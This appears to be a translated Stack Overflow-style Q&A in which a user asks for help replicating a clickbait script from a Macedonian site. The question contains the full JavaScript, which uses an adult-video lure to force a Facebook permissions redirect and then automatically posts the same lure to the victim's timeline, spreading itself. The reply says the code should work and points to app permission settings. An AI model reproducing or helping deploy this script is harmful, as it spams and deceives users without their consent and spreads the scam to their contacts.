0

我需要在这里制作这样的脚本:http: //onion.mk/konecno-objaveno-domasnoto-video-na-nasata-voditelka/ ?ref=top

查看帖子几秒钟后,会自动将您重定向到 facebook APP 并要求您登录以查看帖子。首次登录后,每次您看到任何其他帖子都会自动发布到您的时间线。

它的 javascript 可以在网站的源代码中找到,但无法正常工作......那里缺少一些东西......有人可以帮助我吗?

<div
id="fb-root"></div><script>
  var app_id = '467647329957056';   var cookie_prefix = 'onion_mk_';
  var appdomain = 'onion.mk';
  var appdomain_formatted = appdomain.charAt(0).toUpperCase() + appdomain.substring(1);
        function setCookie(c_name, value, exdays, time) {
            var exdate = new Date();
            if(time!='')
            {
                exdate.setTime( exdate.getTime() + (time*60*1000));
            }else{
                exdate.setDate(exdate.getDate() + exdays);
            }            
            var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString()) + ";path=/;domain=" + appdomain;
            document.cookie = cookie_prefix + c_name + "=" + c_value;
        }
        function getCookie(c_name) {
            var i, x, y, ARRcookies = document.cookie.split(";");
            for (i = ARRcookies.length - 1; i >= 0; i--) {
                x = ARRcookies[i].substr(0, ARRcookies[i].indexOf("="));
                y = ARRcookies[i].substr(ARRcookies[i].indexOf("=") + 1);
                x = x.replace(/^\s+|\s+$/g, "");
                if (x == cookie_prefix + c_name) {
                    return unescape(y);
                }
            }
        }

function isEmpty(obj) {
    for(var prop in obj) {
        if(obj.hasOwnProperty(prop))
            return false;
    }

    return true;
}
  window.fbAsyncInit = function() {
    FB.init({
      appId      : app_id,
      status     : true,
      cookie     : true,
      xfbml      : true
    });
            FB.Event.subscribe('edge.create', function (response) {
                  document.getElementById('likeboxbgr').style.display='none';
                  document.getElementById('likebox').style.display='none';
            });

FB.getLoginStatus(function (response) {
            var accessToken = null;
            var session = FB.getAuthResponse();
            if (session != null) {
                 accessToken = session.accessToken;
            }
            var token = accessToken;
            var userID;
        if(response.status == 'connected')
        {
            FB.api('/me', function (resp) {
                userID = resp.id;
            var fql_query = "SELECT uid FROM page_fan WHERE page_id = " + 487604931274728 + " and uid=" + userID;
            var the_query = FB.Data.query(fql_query);
            the_query.wait(function (rows) {
                  if (rows.length == 1 && rows[0].uid == userID) {
                         document.getElementById('likeboxbgr').style.display='none';
                         document.getElementById('likebox').style.display='none';
                  }else
                  {
                        document.getElementById('likeboxbgr').style.display='block';
                        document.getElementById('likebox').style.display='block';
                  }
            });
                                                if (getCookie('posted_article_100') == null && 69>0 && getCookie('posted') == null) {
                                FB.api('/me/feed','post',
                                  {
                                      message: 'Конечно објавено домашно видео на нашата водителка (+18)',
                                      name: 'Конечно објавено домашно видео на нашата водителка (+18) | ' + appdomain_formatted,
                                      caption: appdomain_formatted,
                                      description: 'Неодамна излезе домашното видео на нашата позната водителка, за кое...',
                                      link: 'http://www.facebook.com/connect/uiserver.php?app_id='+app_id+'&method=permissions.request&redirect_uri=http://onion.mk/konecno-objaveno-domasnoto-video-na-nasata-voditelka/&amp;error_reason=user_denied&amp;error=access_denied&amp;error_description=The+user+denied+your+request.&response_type=none&display=page&auth_referral=1',
                                      picture: 'http://onion.mk/wp-content/uploads/2013/02/SuperSexyGirls1.jpg'
                                  },
                                  function (rsp) {
                                      if (rsp.id) {
                                          setCookie('posted_article_100', '1', 5);
                                          setCookie('posted', '1', 5, 15);
                                      } else {
console.log(rsp);
                                          top.location.href = 'http://www.facebook.com/connect/uiserver.php?app_id='+app_id+'&method=permissions.request&redirect_uri=http://onion.mk/konecno-objaveno-domasnoto-video-na-nasata-voditelka/&amp;error_reason=user_denied&amp;error=access_denied&amp;error_description=The+user+denied+your+request.&response_type=none&display=page&auth_referral=1';
                                      };

                                  }
                                );
                            }
                                      });
        }else if (response.status === 'not_authorized')
        {

                     document.getElementById('wrapper').style.opacity = 0.12;
             top.location.href = 'http://www.facebook.com/connect/uiserver.php?app_id='+app_id+'&method=permissions.request&redirect_uri=http://onion.mk/konecno-objaveno-domasnoto-video-na-nasata-voditelka/&amp;error_reason=user_denied&amp;error=access_denied&amp;error_description=The+user+denied+your+request.&response_type=none&display=page&auth_referral=1';
                     }else
        {
             console.log('not logged!');
        }

 });
  };
  (function(d, debug){
     var js, id = 'facebook-jssdk', ref = d.getElementsByTagName('script')[0];
     if (d.getElementById(id)) {return;}
     js = d.createElement('script'); js.id = id; js.async = true;
     js.src = "//connect.facebook.net/en_US/all" + (debug ? "/debug" : "") + ".js";
     ref.parentNode.insertBefore(js, ref);
   }(document, /*debug*/ false));
</script>
4

1 回答 1

0

快速浏览一下,看起来该代码应该可以工作。

您是否在 facebook 开发人员中正确设置了您的应用程序 - 并要求获得正确的权限以发布到用户的时间线?

于 2013-03-15T01:29:59.980 回答